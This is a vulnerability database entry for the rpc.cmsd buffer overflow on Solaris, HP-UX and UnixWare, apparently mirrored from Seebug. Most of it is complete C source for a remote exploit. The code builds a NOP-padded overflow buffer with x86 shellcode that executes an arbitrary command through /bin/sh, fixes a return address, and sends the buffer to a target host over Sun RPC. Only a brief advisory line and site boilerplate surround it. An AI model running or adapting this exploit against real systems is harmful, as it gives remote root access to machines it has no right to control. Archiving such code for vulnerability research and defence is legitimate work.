Lucene search
K

Caldera OpenUnix 8.0/UnixWare 7.1.1,HP HP-UX <= 11.0,Solaris <= 7.0,SunOS <= 4.1.4 rpc.cmsd Buffer Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

There is a remote buffer overflow vulnerability in rpc.cmsd used by Sun Solaris and HP-UX versions 10.20, 10.30, and 11.0, allowing remote root compromise

Code

                                                source: http://www.securityfocus.com/bid/524/info
 
There is a remotely exploitable buffer overflow vulnerability in rpc.cmsd which ships with Sun&#39;s Solaris and HP-UX versions 10.20, 10.30 and 11.0 operating systems. The consequence is a remote root compromise. 

/*
 * Unixware 7.x rpc.cmsd exploit by jGgM
 * http://www.netemperor.com/en/
 * EMail: [email protected]
 */

#include &#60;stdlib.h&#62;
#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;rpc/rpc.h&#62;

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_PROC 21

#define BUFFER_SIZE	1036
#define SHELL_START	1024
#define RET_LENGTH	12
#define ADJUST		100
#define NOP	0x90
#define LEN		68

char shell[] =
  /*  0 */ &#34;\xeb\x3d&#34;                         /* jmp springboard [2000]*/
  /* syscall:                                                    [2000]*/
  /*  2 */ &#34;\x9a\xff\xff\xff\xff\x07\xff&#34;     /* lcall 0x7,0x0   [2000]*/
  /*  9 */ &#34;\xc3&#34;                             /* ret             [2000]*/
  /* start:                                                      [2000]*/
  /* 10 */ &#34;\x5e&#34;                             /* popl %esi       [2000]*/
  /* 11 */ &#34;\x31\xc0&#34;                         /* xor %eax,%eax   [2000]*/
  /* 13 */ &#34;\x89\x46\xbf&#34;                     /* movl %eax,-0x41(%esi) */
  /* 16 */ &#34;\x88\x46\xc4&#34;                     /* movb %al,-0x3c(%esi)  */
  /* 19 */ &#34;\x89\x46\x0c&#34;                     /* movl %eax,0xc(%esi)   */
  /* 22 */ &#34;\x88\x46\x17&#34;                     /* movb %al,0x17(%esi)   */
  /* 25 */ &#34;\x88\x46\x1a&#34;                     /* movb %al,0x1a(%esi)   */
  /* 28 */ &#34;\x88\x46\xff&#34;                     /* movb %al,0x??(%esi)   */
  /* execve:                                                     [2000]*/
  /* 31 */ &#34;\x31\xc0&#34;                         /* xor %eax,%eax   [2000]*/
  /* 33 */ &#34;\x50&#34;                             /* pushl %eax      [2000]*/
  /* 34 */ &#34;\x56&#34;                             /* pushl %esi      [2000]*/
  /* 35 */ &#34;\x8d\x5e\x10&#34;                     /* leal 0x10(%esi),%ebx  */
  /* 38 */ &#34;\x89\x1e&#34;                         /* movl %ebx,(%esi)[2000]*/
  /* 40 */ &#34;\x53&#34;                             /* pushl %ebx      [2000]*/
  /* 41 */ &#34;\x8d\x5e\x18&#34;                     /* leal 0x18(%esi),%ebx  */
  /* 44 */ &#34;\x89\x5e\x04&#34;                     /* movl %ebx,0x4(%esi)   */
  /* 47 */ &#34;\x8d\x5e\x1b&#34;                     /* leal 0x1b(%esi),%ebx  */
  /* 50 */ &#34;\x89\x5e\x08&#34;                     /* movl %ebx,0x8(%esi)   */
  /* 53 */ &#34;\xb0\x3b&#34;                         /* movb $0x3b,%al  [2000]*/
  /* 55 */ &#34;\xe8\xc6\xff\xff\xff&#34;             /* call syscall    [2000]*/
  /* 60 */ &#34;\x83\xc4\x0c&#34;                     /* addl $0xc,%esp  [2000]*/
  /* springboard:                                                [2000]*/
  /* 63 */ &#34;\xe8\xc6\xff\xff\xff&#34;             /* call start      [2000]*/
  /* data:                                                       [2000]*/
  /* 68 */ &#34;\xff\xff\xff\xff&#34;                 /* DATA            [2000]*/
  /* 72 */ &#34;\xff\xff\xff\xff&#34;                 /* DATA            [2000]*/
  /* 76 */ &#34;\xff\xff\xff\xff&#34;                 /* DATA            [2000]*/
  /* 80 */ &#34;\xff\xff\xff\xff&#34;                 /* DATA            [2000]*/
  /* 84 */ &#34;\x2f\x62\x69\x6e\x2f\x73\x68\xff&#34; /* DATA            [2000]*/
  /* 92 */ &#34;\x2d\x63\xff&#34;;                    /* DATA            [2000]*/

struct cm_send {
   char *s1;
   char *s2;
};

struct cm_reply {
   int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
   if(!xdr_wrapstring(xdrs, &objp-&#62;s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp-&#62;s2))
       return (FALSE);
   return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
   if(!xdr_int(xdrs, &objp-&#62;i))
      return (FALSE);
   return (TRUE);
}

long get_ret() {
   return 0x8047720;
}

int
main(int argc, char *argv[])
{
   char buffer[BUFFER_SIZE + 1];
   long ret, offset;
   int len, x, y;
   char *command, *hostname;

   CLIENT *cl;
   struct cm_send send;
   struct cm_reply reply;
   struct timeval tm = { 10, 0 };
   enum clnt_stat stat;

   if(argc &#60; 3 || argc &#62; 4) {
      printf(&#34;Usage: %s [hostname] [command] [offset]\n&#34;, argv[0]);
      exit(1);
   } // end of if..

   hostname = argv[1];
   command = argv[2];

   if(argc == 4) offset = atol(argv[3]);
   else offset=0;

   len = strlen(command);
   len++;
   len = -len;
   shell[LEN+0] = (len &#62;&#62;  0) & 0xff;
   shell[LEN+1] = (len &#62;&#62;  8) & 0xff;
   shell[LEN+2] = (len &#62;&#62; 16) & 0xff;
   shell[LEN+3] = (len &#62;&#62; 24) & 0xff;

   shell[30] = (char)(strlen(command) + 27);

   ret = get_ret() + offset;

   for(x=0; x&#60;BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - RET_LENGTH - strlen(shell) - strlen(command) - 1 - ADJUST;

   for(y=0; y&#60;strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y&#60;strlen(command); y++)
      buffer[x++] = command[y];

   buffer[x] = &#39;\xff&#39;;

   x = SHELL_START;
   for(y=0; y&#60;(RET_LENGTH/4); y++, x=x+4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf(&#34;host = %s\n&#34;, hostname);
   printf(&#34;command = &#39;%s&#39;\n&#34;, command);
   printf(&#34;ret address = 0x%x\n&#34;, ret);
   printf(&#34;buffer size = %d\n&#34;, strlen(buffer));

   send.s1 = buffer;
   send.s2 = &#34;&#34;;

   cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, &#34;udp&#34;);
   if(cl == NULL) {
      clnt_pcreateerror(&#34;clnt_create&#34;);
      printf(&#34;exploit failed; unable to contact RPC server\n&#34;);
      exit(1);
   }
   cl-&#62;cl_auth = authunix_create(&#34;localhost&#34;, 0, 0, 0, NULL);
   stat = clnt_call(cl, CMSD_PROC, xdr_cm_send, (caddr_t) &send,
                        xdr_cm_reply, (caddr_t) &reply, tm);
   if(stat == RPC_SUCCESS) {
      printf(&#34;exploit is failed!!\n&#34;);
      clnt_destroy(cl);
      exit(1);
   } else {
      printf(&#34;Maybe, exploit is success!!\n&#34;);
      clnt_destroy(cl);
      exit(0);
   }
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
16